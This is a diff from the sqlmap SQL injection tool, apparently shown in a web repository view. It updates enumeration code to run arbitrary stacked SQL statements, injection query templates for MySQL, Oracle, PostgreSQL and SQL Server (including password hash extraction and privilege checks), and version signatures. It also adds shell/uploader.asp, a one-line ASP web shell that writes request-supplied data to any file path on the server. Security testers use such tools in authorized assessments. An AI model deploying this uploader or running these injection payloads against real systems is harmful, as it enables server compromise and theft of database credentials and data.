Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -39,11 +39,13 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Enumeration:
|
||||
@@ -120,7 +122,7 @@ class Enumeration:
|
||||
infoMsg = "testing if current user is DBA"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].isDba
|
||||
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
|
||||
|
||||
self.isDba = inject.getValue(query)
|
||||
|
||||
@@ -204,6 +206,12 @@ class Enumeration:
|
||||
query += " WHERE "
|
||||
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
||||
else:
|
||||
if kb.dbms == "MySQL":
|
||||
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||
|
||||
if parsedUser:
|
||||
conf.user = parsedUser.groups()[0]
|
||||
|
||||
query += " WHERE %s = '%s'" % (condition, conf.user)
|
||||
|
||||
value = inject.getValue(query, blind=False)
|
||||
@@ -236,7 +244,7 @@ class Enumeration:
|
||||
|
||||
for user in users:
|
||||
if kb.dbms == "MySQL":
|
||||
parsedUser = re.search("\047(.*?)\047@'", user)
|
||||
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
|
||||
|
||||
if parsedUser:
|
||||
user = parsedUser.groups()[0]
|
||||
@@ -384,6 +392,12 @@ class Enumeration:
|
||||
else:
|
||||
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
||||
else:
|
||||
if kb.dbms == "MySQL":
|
||||
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||
|
||||
if parsedUser:
|
||||
conf.user = parsedUser.groups()[0]
|
||||
|
||||
# NOTE: I assume that the user provided is not in
|
||||
# MySQL >= 5.0 syntax 'user'@'host'
|
||||
if kb.dbms == "MySQL" and self.has_information_schema:
|
||||
@@ -447,6 +461,11 @@ class Enumeration:
|
||||
for user in conf.user.split(","):
|
||||
users.add("%" + user + "%")
|
||||
else:
|
||||
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||
|
||||
if parsedUser:
|
||||
conf.user = parsedUser.groups()[0]
|
||||
|
||||
users = [ "%" + conf.user + "%" ]
|
||||
|
||||
elif "," in conf.user:
|
||||
@@ -1038,14 +1057,49 @@ class Enumeration:
|
||||
|
||||
|
||||
def sqlQuery(self, query):
|
||||
infoMsg = "fetching SQL SELECT query output: '%s'" % query
|
||||
output = None
|
||||
selectQuery = True
|
||||
sqlType = None
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
for sqlStatement in sqlStatements:
|
||||
if query.lower().startswith(sqlStatement):
|
||||
sqlType = sqlTitle
|
||||
|
||||
if sqlTitle != "SQL SELECT statement":
|
||||
selectQuery = False
|
||||
|
||||
break
|
||||
|
||||
if selectQuery == True:
|
||||
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = inject.getValue(query, fromUser=True)
|
||||
else:
|
||||
if kb.stackedTest == None:
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
warnMsg = "the web application does not support "
|
||||
warnMsg += "stacked queries"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if output == "Quit":
|
||||
return None
|
||||
else:
|
||||
if sqlType:
|
||||
infoMsg = "executing %s query: '%s'" % (sqlType, query)
|
||||
else:
|
||||
infoMsg = "executing unknown SQL type query: '%s'" % query
|
||||
logger.info(infoMsg)
|
||||
|
||||
inject.goStacked(query)
|
||||
|
||||
infoMsg = "done"
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = False
|
||||
|
||||
return output
|
||||
|
||||
|
||||
@@ -1081,5 +1135,9 @@ class Enumeration:
|
||||
|
||||
if output and output != "Quit":
|
||||
dumper.string(query, output)
|
||||
|
||||
elif output == False:
|
||||
pass
|
||||
|
||||
elif output != "Quit":
|
||||
print "No output"
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
1
shell/uploader.asp
Normal file
1
shell/uploader.asp
Normal file
@@ -0,0 +1 @@
|
||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||
14
sqlmap.conf
14
sqlmap.conf
@@ -2,7 +2,6 @@
|
||||
|
||||
# Target URL.
|
||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||
# PHP and MySQL (local)
|
||||
url =
|
||||
|
||||
# Parse targets from Burp or WebScarab logs
|
||||
@@ -79,8 +78,8 @@ delay = 0
|
||||
|
||||
# Seconds to wait before timeout connection.
|
||||
# Valid: float
|
||||
# Default: 10
|
||||
timeout = 10
|
||||
# Default: 30
|
||||
timeout = 30
|
||||
|
||||
|
||||
[Injection]
|
||||
@@ -134,7 +133,7 @@ eRegexp =
|
||||
# Valid: True or False
|
||||
stackedTest = False
|
||||
|
||||
# Test for Time based blind SQL injection.
|
||||
# Test for time based blind SQL injection.
|
||||
# Valid: True or False
|
||||
timeTest = False
|
||||
|
||||
@@ -142,6 +141,13 @@ timeTest = False
|
||||
# Valid: True or False
|
||||
unionTest = False
|
||||
|
||||
# Technique to test for UNION query SQL injection
|
||||
# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY
|
||||
# clause (ob)
|
||||
# Valid: NULL, OrderBy
|
||||
# Default: NULL
|
||||
uTech = NULL
|
||||
|
||||
# Use the UNION query (inband) SQL injection to retrieve the queries
|
||||
# output. No need to go blind.
|
||||
# Valid: True or False
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -1,12 +1,28 @@
|
||||
<?xml version="1.0" ?>
|
||||
<root>
|
||||
<signatures release="2008">
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1779
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q958186
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1771
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q958611
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1750
|
||||
</version>
|
||||
<servicepack>
|
||||
0+Q956718
|
||||
+Q956718
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -43,6 +59,38 @@
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2005">
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4207
|
||||
</version>
|
||||
<servicepack>
|
||||
3+Q959195
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4035
|
||||
</version>
|
||||
<servicepack>
|
||||
+3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3301
|
||||
</version>
|
||||
<servicepack>
|
||||
2+Q958735
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3295
|
||||
</version>
|
||||
<servicepack>
|
||||
2+Q959132
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3294
|
||||
@@ -51,6 +99,14 @@
|
||||
2+Q956854
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3291
|
||||
</version>
|
||||
<servicepack>
|
||||
2+Q956889
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3282
|
||||
@@ -67,6 +123,14 @@
|
||||
2+Q954607
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3261
|
||||
</version>
|
||||
<servicepack>
|
||||
2+Q955754
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.3260
|
||||
|
||||
@@ -5,6 +5,15 @@
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Windows -->
|
||||
<regexp value="Visual C\+\+">
|
||||
<info type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="mingw([\d]+)">
|
||||
<info type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Ubuntu -->
|
||||
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||
|
||||
@@ -27,6 +27,7 @@
|
||||
<dbms value="Microsoft Access">
|
||||
<error regexp="Access.*Driver"/>
|
||||
<error regexp="Driver.*Access"/>
|
||||
<error regexp="JET Database Engine"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
|
||||
@@ -23,11 +23,12 @@
|
||||
-->
|
||||
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
|
||||
<substring query="MID((%s), %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
@@ -64,7 +65,7 @@
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s, ' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWNUM AS limit %s) WHERE limit"/>
|
||||
<limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/>
|
||||
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
@@ -74,37 +75,38 @@
|
||||
<comment query="--"/>
|
||||
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
|
||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
||||
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
||||
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
|
||||
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS limit FROM SYS.USER$ WHERE NAME='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/>
|
||||
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS limit FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
|
||||
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
|
||||
</privileges>
|
||||
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
|
||||
<dbs/>
|
||||
<tables>
|
||||
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
|
||||
<inband query="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES" condition="TABLESPACE_NAME"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS limit FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE limit=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS limit FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE limit=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS limit FROM %s) WHERE limit=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
||||
@@ -124,11 +126,12 @@
|
||||
<comment query="--" query2="/*"/>
|
||||
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
|
||||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
|
||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
@@ -166,20 +169,21 @@
|
||||
<isnull query="ISNULL(%s, ' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
<limitregexp query="SELECT\s+TOP\s+1\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+[\d]+\s+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
|
||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||
<banner query="@@VERSION"/>
|
||||
<current_user query="SYSTEM_USER"/>
|
||||
<current_db query="DB_NAME()"/>
|
||||
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
|
||||
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
||||
|
||||
Reference in New Issue
Block a user